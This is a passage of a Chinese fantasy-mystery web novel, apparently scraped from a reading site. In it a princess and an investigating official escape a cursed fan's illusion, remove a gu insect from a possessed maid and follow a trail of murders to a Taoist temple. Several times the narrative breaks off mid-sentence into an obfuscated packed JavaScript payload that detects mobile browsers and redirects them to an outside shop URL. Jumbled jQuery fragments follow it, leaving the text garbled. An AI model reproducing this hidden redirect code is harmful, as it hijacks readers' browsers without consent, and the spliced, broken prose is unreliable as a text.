“你之前可有过一只白玉团扇,上面描着一幅秉烛夜游图?”贺兰漪秀眉紧锁,着急地看向身后关门的江姝绾。 江姝绾僵硬地转了下头,躯体一动不动,脸上已经密密麻麻长满了红色的血丝,自眉心而下延展出来,眼球全白,转身,准备重新开门出去。 此时月上中天,伴着幽幽的古钟声,血红色的月光撒满了整个知幻庵。 “江姝绾!” 贺兰漪抬手要将她拉回来,可不知道她从哪来的力气,竟一把掐住了贺兰漪的脖子,将贺兰漪摁在了柱子上。 江姝绾用的力气越来越大,贺兰漪几乎要喘不上来气了,大脑开始出现短暂的空白。 “哐!”地一声。 随着江姝绾躺到在地上,手里拿着白瓷花瓶的贺兰漪也滑着瘫坐在柱子前,捂着嘴小声地咳嗽。 刚找绳子把晕过去的江姝绾捆起来,堵住嘴,塞进柜子里。 贺兰漪突然听见外面走廊里似乎有声音。 不会这么倒霉吧! 凉意从脊骨直冲天灵盖,胸腔里的心脏比往常跳的快了数倍,鼓点般急促。 “江姝绾,贺兰漪,你们在哪啊?”候皎皎的声音拉长,如同厉鬼凄厉的呼喊。 “两位小娘子,快些出来吧!”胖尼姑在楼下张着手,嘴角的口涎不住地流出来,“我已经饿了好久了,快出来吧。” 贺兰漪踮着脚,凑到门口,悄无声息地蹲下身,透过门缝往外望去,却差点意外与找上楼来的高个尼姑对视。 “贺兰漪,出来吧,我已经瞧见你了!”高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个扇女尖锐的嗓音直冲天际,血色的月光落在她们的脸上,更显得狰狞可怖。 宋少衡手上捻诀操控着偶人,底下的“贺兰漪”脸上笑嘻嘻地朝她们吐了个舌头,“你们猜?我为什么会没事?” “为什么?”候皎皎双目漆黑,围在偶人身旁,帮着主人恶狠狠地问道。 几个从黑暗中跑出来的书生和和尚也异口同声,阴测测地开口问,“为什么?” “你说为什么,”“贺兰漪”抱着胳膊,挑着眉,笑嘻嘻道:“那当然因为我已经毁了你们的魂丝啊!” 三个尼姑面面相觑,似乎在分析贺兰漪这话的可靠性有几分。 “现在大约才烧了一半吧,你们若是过去,或许还能挽救一二,不然,在第二天太阳升起的那一瞬间,你们就全部变成天上飘的云彩了,哈哈哈哈哈。” “贺兰漪”又轻飘飘地补充了句,“你们以为,我如果不是掌握了你们的命脉,敢这么大摇大摆地走出来吗?” 冷脸的矮个尼姑和满脸油光的胖尼姑闻言,快步跑进了藏经阁内,原地只余那手持金铃的高个尼姑,略思忖了下,也是转身进去了藏经阁内。 “这么说,她们的魂丝就在这藏经阁里?”江姝绾站在贺兰漪旁边,蹙着眉,“可这上下五层楼那么大的地方,若是她们三人放在不同的位置,我们该怎么先她们一步毁掉魂丝?” 11. 第 11 章 “用火烧掉整个藏经阁就可以把她们的魂丝一起毁掉,”宋少衡转身看向藏经阁,轻语道:“我的阵法可以让整个楼阁在三秒之内化为灰烬。” “那我们呢?”江姝绾问道。 宋少衡神色严肃,看向贺兰漪强调道,“会在府中中醒来,亦可能会陷入新的幻境,记住,在站到阳光下之前,千万不要被任何人碰到自己的手腕。” 贺兰漪点了点头,“好!” 宋少衡的视线在贺兰漪脸流连一瞬,随即催动阵法,巨大的爆炸火光眨眼间就将整个藏经阁彻底粉碎,而他们三人也从高楼坠落,湮灭在熊熊烈火中。 贺兰漪睁开眼,发觉自己躺在玉露堂的罗汉床上。 屋内静悄悄地,灰尘在纸窗漏进来的光里飞舞。 “这是回来了吗?”贺兰漪从床上坐起来,身上因为在乐游幻境里下雨被淋湿的黄色襦裙此时没有一丝水渍。 她捂着脸,揉了揉眉心,稍稍稳了稳心神,掀开身上的白牡丹缂丝薄衾,下床准备去外面。 “郡主,您醒了?”青窈绕过屏风,端着一铜盆干净的玫瑰花水放在床边,手里拿着热帕子递给贺兰漪,“您昨夜睡的可还好吗?” “不太好,我做了个很恐怖的噩梦,”贺兰漪的眉毛蹙成了一团,漫不经心地抬眼看向青窈伸过来的手,“之前让你找周善俊去要他的生辰八字,你可要来了?” 青窈一愣,谨慎地摇了摇头,“尚且没有。” “哐!”地一声,铜盆落地的声响极大。 青窈被铜盆子砸过脑袋后,从头湿到脚,玫瑰花水顺着她的衣袖滴滴答答落在地板上。 “没有什么没有!”贺兰漪一溜烟跑到门口,“你个死妖怪,还想骗本郡主!” “我看你个小兔崽子往哪跑!”“青窈”眨眼间就变回了自己原本的高个尼姑模样,两个眼睛空洞洞的,不住地往下滴血,“你杀了我两个妹妹,不把你留在这千刀万剐,难解我心头之恨!” 可等贺兰漪推门出去的时候,发觉外面还未天亮,天边虽然漫上了一丝鱼肚白,可要真的等到阳光落在这边,还需要些许时间。 这下可有点麻烦了! 不过,贺兰漪跑到走廊尽头突然停步,打量了一眼那尼姑两个空洞的眼睛,才想这妖怪约莫是被火烧得瞧不见了。 于是她屏住呼吸,决意试探一下。 抬手拿了个小石子,探身往走廊下面一扔,小石子咕噜咕噜滚落下台阶。 尼姑果然停下脚步,循着声音找了过去,边摸边笑,“贺兰漪,你以为你能逃出去吗?我告诉你,你想都不要想这件事,既然你现如今落在我手里了,我就绝不会放过你。” “哇,那你可真厉害!”贺兰漪对尼姑的话嗤之以鼻,踩着栏杆,飞身跑上屋顶,捡起一块青瓦就朝屋檐下的尼姑砸了过去。 尼姑察觉到声音后,往后闪身躲了过去,碎瓦落在地上的声音极其沉闷。 “贺兰漪,我要你的命!”高个尼姑拿着串小叶紫檀的佛珠,也飞身落在了屋顶上。 贺兰漪暗自感叹这尼姑果然有两把刷子,眼瞎了还能跑上屋顶,她继续屏住呼吸,站在屋檐边,一动不动,视线在远处四处打量着。 终于,她瞄准了院墙外面奇峰异石的假山。 “你个老尼姑,过来啊!”贺兰漪提着裙摆,深呼吸了几口气,开始在屋檐上飞跃,朝着假山方向跑过去。 尼姑察觉到贺兰漪的生息后,立刻追了过去。 幸而贺兰漪平日里走街串巷、招猫逗狗练了个好腿脚,即便是在房顶上也跑得飞快。 “奇了怪了,这老妖怪明明眼睛看不见,怎么还能在屋顶上跑这么快啊!” 贺兰漪小心翼翼地走在院墙上,伸开双臂以保持平衡。 眼看着尼姑就要追上来了。 贺兰漪心一横,从院墙上跳了下去,摔了个屁股墩也不敢耽搁,起身就跑到了假山下面。 没一会儿,尼姑果然追了过来。 这时已经爬到假山上的贺兰漪屏住呼吸,把刚刚从地上捡的石子抛进假山里面,只待那尼姑走到假山下面,立刻就把叠在上面摇摇欲坠的巨石推下去。 “小崽子,你又在耍什么花样!”尼姑转着身子,探着头,不断地感受着活人气息的味道,在听到石子落地的声音后,她如贺兰漪所料般迅速赶去了假山下面。 “轰隆一声,”贺兰漪极其利落地把巨石推下去,将尼姑死死地压在了下面。 她挑着眉擦了擦手上的石沫,转身准备离开,找个宽敞的屋顶,静静地等待天亮。 可还没走多远,身后“轰隆”一声巨响。 贺兰漪转头看去,竟是尼姑从假山下面爬了出来,还将石头炸开了。 她急忙抬袖挡住飞溅而来的碎石。 “贺兰漪!”尼姑几乎是腾空而起,在屋顶上拼命地追逐着身前不远处的黄裙小娘子。 贺兰漪一点也不敢松懈,在屋顶上跑的飞快,脚下不断有青瓦扑通扑通落下来,砸在地上摔得粉碎。 面前的两个高脊屋檐相邻,中间横着很高很深的空隙,贺兰漪马上就要跑过去。 宋少衡突然从檐角边冒出头,朝贺兰漪伸出手,“郡主,快些,她马上要追过来了!” 贺兰漪提着裙摆,耳边呼呼生风。 看到宋少衡后,她又惊又喜,唇角带笑,“你找过来了!” 此时天边的夜色已经褪去,温暖和煦的阳光已经照在了不远处的水亭红瓦上。 “快啊,郡主!”宋少衡倾着身子,眼神热切,极力地伸出手,准备把贺兰漪接过来。 可已经抬起手的贺兰漪却突然停住了脚步。 她扭头看了眼身后追过来的面容可怖的高个尼姑,又望向前面不远处朝她伸手的宋少衡。 “你觉得我是个很好骗的傻子吗?”贺兰漪挑衅地朝宋少衡和高个尼姑扮了个鬼脸,随后毫不犹豫地滑到屋檐边,准备跳下去屋顶。 谁知她脚下猛然一崴,没站稳,还没做好起跳准备,就歪着身子掉下了屋顶。 “这下没被妖怪害死,脑袋要开瓢了!”阳光落在贺兰漪满是绝望的脸上。 她最后瞧见的景象便是高个尼姑的分身化成的宋少衡在阳光下化作了滚滚黑烟,而那双眼仍在泪泪流血的高个尼姑不管不顾地侧身扑着追下了屋顶,拼命想要抓住贺兰漪的手腕。 “郡主,郡主!”青窈的声音在耳畔响起。 躺在罗汉床上的贺兰漪猛然睁开眼睛,满头冷汗,耳边的声音也越发清晰了。 “郡主,如今已经中午了,您今日怎么睡了这么久啊?”青窈俏丽的瓜子脸映入眼帘,眼神中满是担忧。 贺兰漪几乎是从床上弹跳了起来,飞一般地绕过青竹游园屏风跑出了内室。 在外面守卫的同钰和宋安都被吓了一跳。 “郡主!”青窈提着玉鞋追了出来。 站在栏杆边的贺兰漪看着中午天上的烈阳,彩虹般的光晕闪得她眼前一黑,但一颗悬着的心还是放了下来。 终于从那鬼地方出来了! 同钰和宋安面面相觑,青窈过去给贺兰漪穿鞋,“郡主,您是怎么了?” 青窈的话唤回了贺兰漪的思绪,她忙穿上鞋,招手让宋安过来。 “让人去找宋少衡,看他是否醒来了?对了,还有国子监祭酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746865|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江津威家的三娘子江姝绾,让人去问问她是否有事?”贺兰漪蹙着眉头,如墨般的黑发披散在身后。 虽不知道贺兰漪的着急缘由,但宋安依旧嘱咐人立刻去寻宋少衡和江姝绾。 “还有你!”贺兰漪看向同钰,“去把兰月给我喊来,我有话要问她,再一个,派人去浮云楼盯着,不许人出入,有异动者立刻给我拿下。” 同钰点了点头,嘱咐完府兵,这便按着腰间佩刀准备前往莲居。 “罢了!”贺兰漪三步并做两步,跑上木拱桥,越过同钰,抬眸严肃道:“你还是在这守着吧,我去见兰月,记住了,不许任何人进去我的房间,谁都不行!” 同钰还没明白怎么回事,贺兰漪就一溜烟儿跑没影了。 宋安和青窈急忙在贺兰漪身后跟了过去。 莲居是贺兰漪的兄长贺兰珩之的日常居所,在整个魏国长公主府的西南边,离贺兰漪住的玉露堂不算远。 贺兰漪刚跑到莲居,就在走廊下迎面撞见了过来探望她的镇军大将军家的大娘子孟思思。 “漪儿,我听闻你受了伤,可有大碍?”孟思思带着两个女使,一袭水蓝对襟衫子百褶裙,面容娴静,如出水芙蓉,声音温婉轻柔。 “孟姐姐,我等下再跟你解释!”贺兰漪在孟思思面前稍停留了一下,就又飞快地跑去兰月的住处,身上的鹅黄色旋裙如姚黄牡丹般层层叠叠荡开来。 “啊?”孟思思还没明白到底发生了什么事。 青窈和宋安就又一溜烟儿从她身边跑了过去,她刚想招手喊住青窈,但还没来得及抬起胳膊就只能作罢。 贺兰漪路上问了两个女使,都说今日没瞧见兰月,她心中暗暗觉得不太对劲。 等她跑到兰月她们住的厢房门口时,青窈和宋安也已经追了上来。 宋安之前便听说过这位静安郡主性子极其活泼,尤其喜欢喝酒打牌,但她哥贺兰珩之却又是个极重规矩的严肃脾气,他之前无法想象如此性格迥异的兄妹两人是如何相处的。 现在看来,怕是全靠贺兰漪能跑,才能整日里躲过贺兰珩之的训诫和责打。 饶是他这种日日在演武场拉练的,追起贺兰漪还有些费劲,但旁边的青窈几乎不喘,看样子也是已经被贺兰漪训练出师了。 “郡主,兰月怎么了?”青窈小声问道。 “大约是出事了!”贺兰漪环顾着小院,青竹竹叶簌簌作响,石桌上还摆着不知道是哪个女使的手工活,院子里极其静谧,静得让人心里发毛。 “给我把刀!”贺兰漪扭头看向宋安。 宋安闻言立刻警觉起来,递给贺兰漪手下的长刀之后,也拔出了自己腰间的佩刀。 贺兰漪记得兰月应该是住在左边第二间的,因而提着刀穿过走廊径直过去。 可就在她刚走到第一间门口时。 兰月突然拿着凳子冲了出来,瞧准贺兰漪,就朝着她头上猛砸过去。 贺兰漪下意识地闪身躲避,抬刀挡住了兰月手里的凳子,眼看着兰月已经失了控,但贺兰漪始终不愿意把刀尖对准兰月。 宋安瞧出了贺兰漪的顾虑,因而在混乱中飞身上去,抬腿一脚将兰月踹翻在地。 “快让人捆住她!”跟着赶过来的孟思思捏着帕子指向地上的兰月。 宋安的手下眼疾手快,当即便找了粗麻绳将兰月双手反缚捆了起来。 见兰月已经被制服,贺兰漪大口喘着气,把手里的长刀扔给宋安,她瞧着兰月的模样,总觉得似曾相识,就好像是,对,跟那天在开封府衙意图把她推进池塘里的中了邪的卫兵一样。 “派去找宋少衡的人还没回来吗?”贺兰漪看向宋安。 12. 第 12 章 宋少衡此时正在赶来魏国长公主府的路上,因为强行闯入扇女设下的乐游幻境,加之身上的旧伤,他比贺兰漪醒的稍微晚了一些。 他路上正逢碰见从国子监祭酒江津威家赶回来的殿前司的人,闻知了江姝绾的死讯。 贺兰漪在听到这个消息的时候,也有些心惊,估摸着江姝绾应当是遇见了同她一样的情况,误以为自己回到了现实世界而被妖怪碰到了手腕。 宋少衡见贺兰漪没事,彻底放下心来,他半蹲下身,拿匕首割破了兰月的左手食指,血珠鼓起,宋少衡腕上的赤金蛇镯突然活动身子,蜿蜒着攀上兰月的手,吐着信子一口咬在了她食指的伤口上。 “啊!” 兰月空洞的双眼突然睁大,眉峰上扬,面容因为痛苦而变得有些狰狞,但刚挣扎着想起身,却又突然躺倒,彻底昏了过去。 只剩下宋少衡手心里抓着一只刚刚游走在兰月胳膊经脉中,被他的赤金蛇镯从食指伤口里逼出来的虫子。 “扶她进去休息吧,已经没事了,”宋少衡瞧了眼地上躺着的兰月。 看见宋少衡手心里金色的虫子,贺兰漪好奇地凑过去,仰脸问,“这是什么?” “金蚕蛊,”宋少衡眼睫落下些许阴影,捏着那金色虫子的脊骨,把它小心地收进自己的乾坤袋中。 孟思思笼了笼胳膊上的浅蓝色披帛,走了过来,站在贺兰漪身旁,有些警惕地看向宋少衡,“不知郎君是?” “哦,”不等宋少衡开口,贺兰漪介绍道:“孟姐姐,他叫宋少衡,殿前司的副都指挥使,过来查案的。” 宋少衡叉手行礼,微微低头,略略扫了一眼孟思思温婉的脸庞,并没额外说什么话。 按理说,孟思思不过是将军府的内眷,以宋少衡如今的官职,是不该同她行礼的,但前世里,面前这位叫孟思思的娘子最后嫁给了贺兰珩之,乃是贺兰漪的亲嫂嫂,这自然又该另当别论。 “见过管军,”孟思思眉头微蹙,叉手回礼。 她收回手,抬眸打量着面前这个年轻郎君,看模样他不过是二十出头的年纪,居然能成为殿前司的副都指挥使,还能在如此短的时间内获得贺兰漪的认可,属实是不简单。 只是贺兰漪素来是个大大咧咧的脾气,如今贺兰珩之不在京中,孟思思只怕她被人算计了就不好了。 “孟姐姐,你看什么呢?”贺兰漪歪着头打量她。 孟思思笼回思绪,看向贺兰漪,抓住她的手,“我听闻你受了伤,你阿兄如今不在京中,万一有个好歹我可怎么跟他交代啊?” 贺兰漪低头看了眼自己的右胳膊,虽然还有些疼,但这点小伤对她来说不算什么,毕竟她从小到大登高爬梯,身上就没好利索过,总是青一块紫一块的,随口道:“孟姐姐,你放心吧,我没事。” “现在抓住凶手才是最重要的,”贺兰漪猛然想起来自己房间中还放着那把白玉团扇,着急地抓住宋少衡的袖子,就准备拉着他离开,“孟姐姐,近日里汴梁不安生,你还是少出门为妙,我还有事要做,先走了!” 宋少衡朝孟思思略点了下头示意,就跟着贺兰漪急急忙忙地回去了玉露堂。 因为提前嘱咐过同钰,没人进去房间,那把兰月之前送过来的白玉团扇还好端端地放在靠墙东边的黑漆花腿方桌上。 “就是这个,你瞧瞧,”贺兰漪手指向桌上的白玉团扇。 宋少衡从袖口拿出早就画好的驱邪黄符,口中喃喃念了几句法咒,将黄符扔了出去,正好飘飞贴在那扇子上。 “啊啊啊啊!”扇子里传出来惊恐的叫声。 贺兰漪瞪大眼睛,站在宋少衡身后,只见那白玉团扇上冒出缕缕黑烟,扇面上描着的秉烛夜游图里的寺庙、僧人还有尼姑全部陷入了熊熊大火中,穿着被点燃的衣服在暗褐色的扇面上惊恐地跑来跑去,尖叫的喊声不断地从扇面里传出来,其中有个站在钟楼角落里的尼姑动也不动,面容阴森可怖,鹰一般锐利的眼神死死地看向扇子外面的宋少衡。 “麻烦娘子去拿个火盆,”宋少衡转身看向青窈,姿态谦和。 贺兰漪一直好奇地打量着那团扇,忙朝青窈摆了摆手,“快去!” 不一会儿,青窈就绕过屏风隔断把火盆端了过来,宋少衡走过去桌边,拿起那把白玉团扇,将它扔进了火盆里,火焰熊熊燃烧,冒出呛人腥臭的黑烟。 “这到底是什么鬼东西啊?”贺兰漪蹙着眉头,火光在她清澈的眼瞳中闪烁跳跃。 “此物名为魔尼珈,汉话为扇鬼,乃是高昌回鹘的婆伏兀儿大祭司所得的邪物,在大漠三十年一见的血月照耀在尼珈湖水里时,他将两个人杀死扔进湖里献祭召唤出七佛神的地魄,那么在血月消失前,七佛神便会把一件至阴之物赏赐给高昌王庭。” “这扇子就是其中的一件,用时需将它分离出两个相伴相生的分身和主体,每逢夜半时分,这扇子就会把拥有它的两个主人召入乐游幻境之中,若是被里面的扇女握住手腕,生魂就会永远被困在扇面里,成为被扇女驱使的伥鬼,而现实世界里的人则会无声无息地死去。” “传闻中,婆伏兀儿大祭司是唯一一个可以召唤出七佛神地魄的人,他死之后,从七佛神那里得到的邪物都交给了他的女弟子,也就是高昌回鹘被大梁灭国前的最后一位珺阙公主,但后来边境战事四起,那位公主不知所踪,这些邪物自然也随她一起消失无影,不成想,今日却在汴梁见到了。” “不过,”宋少衡轻轻皱眉,薄唇微动,“按理说这扇子历经数十年的岁月流转,里面的扇女早该沉睡了,怎么会突然醒来,还把您和江姝绾召了进去?” 他顿了顿,似乎想到了什么,“这背后之人对您的身体真是志在必得。” 贺兰漪蹙着眉,“你是说,这还是之前那人所为?” 说话间,青窈过来说宋巍从江家回来了。 “郡主,那位兰月娘子短时间内醒不过来,关于这扇子的来历,江家那边或许会有线索,”宋少衡轻语道。 “那让他进来吧,”贺兰漪急着让青窈给她梳头,等下好跟着宋少衡一起出去。 宋少衡则是站在外间窗边不远处的青竹屏风后面,金子般的阳光洒在他的右肩上,他冷着脸问宋巍,“如何了?” “江家的三郎君江嘉吟找到了那日陪着江姝绾买团扇的女使,据她所说,那团扇来自于浮云楼,幸而同钰郎君早早派了人过去盯着,有个正欲逃离汴梁的小厮,被我们抓了个正着,如今他已被押去开封府衙受审。” 已经梳好发髻换好天青色软罗衫裙的贺兰漪探头过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746866|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看了眼宋巍,“兰月拿来的那把白玉团扇也是浮云楼送来的。” “但是我们府上有法阵啊,为什么这邪物还能把我困在里面?” 宋少衡看向换了衣服的贺兰漪,眼前一亮,又匆匆垂下眼睫,喉结微动,“大长公主设下的护元法阵是以您和国公的生魂为契物,若非您允许它留下,它是无法发挥摄您生魂的。” “允许?”贺兰漪想到了之前兰月来找她的时候,的确问过她是否要将这扇子留下,“该死的妖怪!” 宋少衡和贺兰漪赶去开封府衙的时候,门口青石台阶上站了一堆各府过来要说法的仆从、女使和郎君,吵吵嚷嚷,开封府衙的卫兵挡着他们维持秩序。 “麻烦让让,”宋巍在前面开路,宋少衡护着贺兰漪,费劲巴拉地挤了进去。 右军巡院的军巡使赵景欢见到贺兰漪后叉手行礼,“见过郡主。” “我阿兄近日里可来信了?”赵景欢是贺兰珩之的亲信,自小便跟着他,对贺兰漪而言,赵景景欢与她兄长无异。 “国公如今已行至潮州,大约还需半月才能回京,“赵景欢颇有些敌意地瞥了眼宋少衡,对贺兰漪悄声道。 刚刚挤过来的时候,不知道是谁,给了同钰一肘击,这会儿他肋骨下面还疼着呢,“赵巡使,这外面怎么回事啊?” “大约是张千仞派人去暗河打捞干尸的时候被人瞧见了,消息在汴梁城散开,这是各家有失踪的小娘子都过来问消息的。”赵景欢依旧语气冷酷。 贺兰漪撇了撇嘴,什么打捞时候被人瞧见了,估摸着就是张千仞那老油子收了哪家打听的钱结果没捂住消息。 汴梁城每年失踪人口众多,光靠一个开封府是远远忙不过来的,更何况,除了寻找失踪人口,开封府还要负责京城治安,户籍赋税,军防仪仗,议法断刑等诸般事宜,人手有限,但事务繁杂沉重。 那要先去找哪家的失踪人口,后去找哪家的,也就看谁家的势力大,谁家塞的钱多,府吏私底下收钱早已见怪不怪,这事挡不住,不过是没闹到明面上,大家就都睁一只眼闭一只眼罢了。 浮云楼的小厮被关押在开封府司录参军司的府司西狱,至于为什么没在左右军巡院狱,那是因为官家闻知此事后,派了刑部侍郎、大理寺少卿过来查案。 “见过郡主,”刑部侍郎廖湖琦看见贺兰漪后,满脸堆笑地上前施礼,态度极其亲厚。 但他就好像是没看见宋少衡一样,大理寺少卿给他使了好几个眼色,廖湖琦才不情不愿到宋少衡面前随意地拱了个手。 宋少衡的爹是太子一党,而刑部侍郎廖湖琦则是三皇子的心腹,两家势同水火,已经几乎要摆到明面上来了。 三皇子是跟着魏国长公主长大的,看起来与贺兰珩之关系更为亲厚,但贺兰珩之至今仍未表态支持哪方,贺兰漪又极受太后喜爱,因而这兄妹俩成了两方的重点争夺对象。 之前贺兰漪的亲卫段如远被人害死一事,刑部已经挑好人准备过来调查,以此在太后和贺兰漪面前讨个巧,谁知被宋少衡半路截胡领了这桩差事,廖湖琦自然不会对宋少衡有什么好脸色。 “宋管军,听闻你受了重伤,官家体恤,允你回府休息,这里便交给我们吧,”刑部侍郎廖湖琦悬着绯色宽袖,率先发难道。 13. 第 13 章 “既如此,那便劳烦各位了,”宋少衡依旧神色冷淡,轻垂眼睫,解下腰间系着的乾坤袋。 廖湖琦来之前便打听了宋少衡的行事做派,听闻他是个不好惹的脾气,跟他老子一样是个硬骨头,但如今看来,应当是消息有误,这人怕也是外强中干,一个烂泥扶不上墙的废物。 看着宋少衡伸手递过来的金色虫子,廖湖琦不以为意地瞥了一眼,胡须颤动,“这是何物?” “金蚕蛊的蛊虫,”宋少衡声音清冷,凤眸微挑。 廖湖琦和另一位大理寺少卿一听是蛊,下意识地往后退了一步,不过既然要逼宋少衡退出查案,廖湖琦自然是有备而来,他朝身后摆了摆手。 一个衣着青蓝色交领宽袖大襟,额前束幅巾,发髻上戴着两个云头的五鹤冠,眉眼如画的年轻道士走了出来,朝宋少衡稽首问好。 待他的视线落在宋少衡手里的金蚕上时,眉宇间有些慌乱。 “怎么了?”贺兰漪好奇问道,“这金蚕蛊有问题吗?” 延康子为难地看了眼贺兰漪,又转身瞧向不远处的廖湖琦,抿着唇,“郡主,这东西至阴至邪,以我的修为怕是控制不住。” 贺兰漪还没说话,廖湖琦慌忙开口:“慈寂真人,你可是汴梁天师院的上阶天师啊,不过一个小虫子,此话未免过谦了。” 延康子神情严肃,拱手道:“启禀侍郎,这东西乃是高昌回鹘的秘术修炼而成,已经消失多年,我对此一知半解,的确无法控制。” “又是高昌回鹘?”短短两三天时间,贺兰漪已经听过数次这四个字了。 她看向廖湖琦和其他人,“既然官家嘱咐要宋少衡回去休息,那你们快些商议一下,谁能接手金蚕蛊?” “各位不论是谁,拿到此蛊之后,切记不要让它触碰到伤口,若是被它钻进血脉之中,轻则丧神失智,重则性命不保,”宋少衡漫不经心地扫了一眼众人,十分体贴地嘱咐道。 “嗯,这个,”廖湖琦白了一眼推着他上前的大理寺少卿,心不甘情不愿地上前陪笑道:“既然慈寂真人无法处置,那就,那就劳烦宋管军再辛苦些日子,待案子告破,我等定在官家面前为管军上陈功绩。” “行了,别论那些虚头巴脑的了,”贺兰漪不耐烦地招手喊张千仞过来,“现在是查到什么了?” “启禀郡主,管军、侍郎、少卿,”张千仞上前一步,又冲延康子施了一礼。 宋少衡将金蚕重新收回乾坤袋里,意味深长地与延康子对视一眼,随后又极其自然地挪开目光,看向张千仞。 “昨夜我们共打捞上来二十三具干尸,他们均为二十至二十四岁的小娘子,仵作查验她们的后脖颈上都有红色花纹,我们已经让人拓了下来,各位可以一观,”张千仞让人把描了花纹的黄纸散给他们。 贺兰漪接过来一看,上面是三瓣莲花的样式,只是瓣尖上翘,略微有些奇怪,她仔细看了几眼,总觉得这花纹她好像在哪里见过,一时间又想不起来。 “除此之外,虞部郎中张琢家也派小厮来报说他们家的二娘子张乐菱和她的女使春阳三日前被妖怪在家里掏心而死,我们派府兵过去发现张乐菱尸体后脖颈上也有这样的红色花纹。” “据张家的女使交代,这张乐菱五日前曾去过罗仙观,根据这条线索,我们昨夜核实女尸身份后,已经让人挨家挨户去问这些人是否去过罗仙观了。” “罗仙观!”大理寺少卿想起来同他夫人闲聊时说过这件事,“有传闻说那罗仙观里有妖怪,会夺人性命。” 贺兰漪蹙着眉头,“浮云楼的小厮那边呢?” “启禀郡主,”刑部侍郎廖湖琦一屁股挤开张千仞,走上前拱手道:“我们只上了三道刑罚,那小厮便招了,说是有个女冠给了他两柄团扇,嘱咐说一个要交给您府中的兰月娘子,另一个交给江家的大娘子江嘉吟。” “女冠?”宋少衡看向宋巍。 “我们让人描了画像,去城中各大道观比对,路上有人认出那是罗仙观的女冠。” 宋少衡和贺兰漪带人骑马赶到姑灌山山脚下时,不过才过了半刻钟的光景。 宋安带人迅速封锁了上下山的四条路。 张千仞跟着宋巍、同钰,延康子,与宋少衡、贺兰漪一起上了山。 姑灌山是座荒山,现如今虽是初春时节,可山中林木凋零,涧水枯落,危峰兀立,处处萧条枯败,整座山的灵气似乎都被吸干了一般。 但越往罗仙观的方向走,枯黄的草木却又逐渐葳蕤繁盛起来,时不时还能听到淙淙的溪水声,就连天上飞的燕雀也多了些,盘旋鸣叫。 “宋少衡,金蚕蛊是可以控制人吗?”贺兰漪拿着树枝走在宋少衡身后。 宋少衡时刻注意着四周的动静,“是,金蚕蛊分子蛊母蛊,持有母蛊者,可以控制被子蛊附身的人,使他们听令行事,甚至可以随时夺人性命。” 贺兰漪蹙着眉,“段如远和那个要推我入水的府兵,他们体内有吗?” “有。” 贺兰漪转而又看向身旁拿着铁尺的延康子,延康子和她自小相识,经常过府来找她一起玩,而且近些年,延康子和她兄长贺兰珩之走得极近,两人可谓是交情极好的狐朋狗友,她上下打量延康子一眼,“你当真控制不了金蚕蛊?” “郡主,那东西几十年见不着一次,我也只是在师父留给我的古籍里读见过,我自然是不通晓其中法窍的。”延康子干笑两声,装的特别真诚,一点都没露馅。 听见身后贺兰漪和延康子的对话,宋少衡不免有些心虚,让一个上阶天师帮他撒谎,并非他所愿。 不过,这也是没办法的事。 宋少衡回来汴梁后做的第一件事就是让人找到延康子,同延康子做了桩交易,他会告诉延康子一个秘密,而延康子日后必须配合他行动,并且在适当时候出现保护贺兰漪。 上辈子,宋少衡多年后见到贺兰漪,那时的她是孤身一人,在他们九死一生回去大梁境内后,贺兰漪首先就是去给这个叫延康子的道士在大梁北境的边城立了个碑。 贺兰漪跟宋少衡提起过说延康子是为了救她而死,而且这几年一直是延康子陪在她身边保护她。 在闻知段如远的死讯后,宋少衡知道延康子会成为接任段如远守护在贺兰漪身旁的人,他必须要把这个位置抢过来,查清当年贺兰漪去世的真相。 “罗仙观,”贺兰漪抬眸面前的有些年头的破旧道观匾额,右胳膊的伤口隐隐发痒,“这地方真是阴森森的。” “郡主莫怕!”张千仞抽出腰间佩刀,探身凑过来表忠心,“有属下在,无论是什么妖魔鬼怪,都不能近郡主的身!” 但宋巍,同钰,延康子都在这里,怎么也轮不上张千仞现眼。 宋巍率领着几个兵士上前,破开了罗仙观的破旧的大门。 宋少衡陪着贺兰漪进去。 扑面而来浓郁的血腥气,左边廊下躺着三个女冠,脖子上碗大的伤口,都已经被放干了血,院子里用人血画着诡异的圆性法阵。 延康子一眼就认出了地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746867|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 